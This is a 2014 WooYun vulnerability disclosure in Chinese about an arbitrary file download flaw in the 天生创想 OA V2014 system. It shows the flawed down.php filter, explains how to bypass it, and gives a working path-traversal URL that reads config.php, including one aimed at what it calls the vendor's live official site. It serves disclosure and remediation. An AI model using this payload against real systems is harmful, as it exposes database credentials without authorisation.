天生创想OA系统任意文件下载+官网数据库配置文件

漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-23: 厂商已经确认,细节仅向厂商公开
2014-02-26: 细节向第三方安全合作伙伴开放
2014-03-05: 细节向核心白帽子及相关领域专家公开
2014-03-15: 细节向普通白帽子公开
2014-04-04: 细节向实习白帽子公开
2014-05-19: 细节向公众公开

简要描述:

乌云之前已经报过,可惜厂商只做了小小整改
轻松绕过限制

详细说明:

天生创想OA系统 V2014

QQ截图20140216153659.jpg



乌云之前报过的 WooYun: 天生创想OA系统任意文件下载

新版的down.php代码加了两个限制

<?php
//下载文件
define('IN_ADMIN',True);
require_once('include/common.php');
get_login($_USER->id);
$filename=$_GET['urls'];
$phps=explode('/',$filename);
if($phps[0]!='data' && $phps[0]!='ntko'){ //以data或者ntko开头可以绕过
echo '下载失败!';
exit;
}
$phps1=explode('.',$filename);
if($phps1[1]=='php'){ //这个判断有逻辑问题,分割后第二个值不为php即可
echo '下载失败,请不要非法下载!';
exit;
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($filename));
readfile($filename);
?>



通过该文件很容易构造出任意文件

例如下载数据库配置文件http://网站地址/down.php?urls=data/../config.php

漏洞证明:

官网数据库配置文件(PS:官网测试帐号登陆后)

http://oa.515158.com//down.php?urls=data/../config.php

QQ截图20140217191936.jpg

修复方案:

过滤要加强

版权声明:转载请注明来源 飞扬风@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-23 11:28

厂商回复:

CNVD未在实例上确认,对机理分析进行了认定,由CNVD尝试通过公开联系渠道协调厂商处置。

最新状态:

暂无


漏洞评价: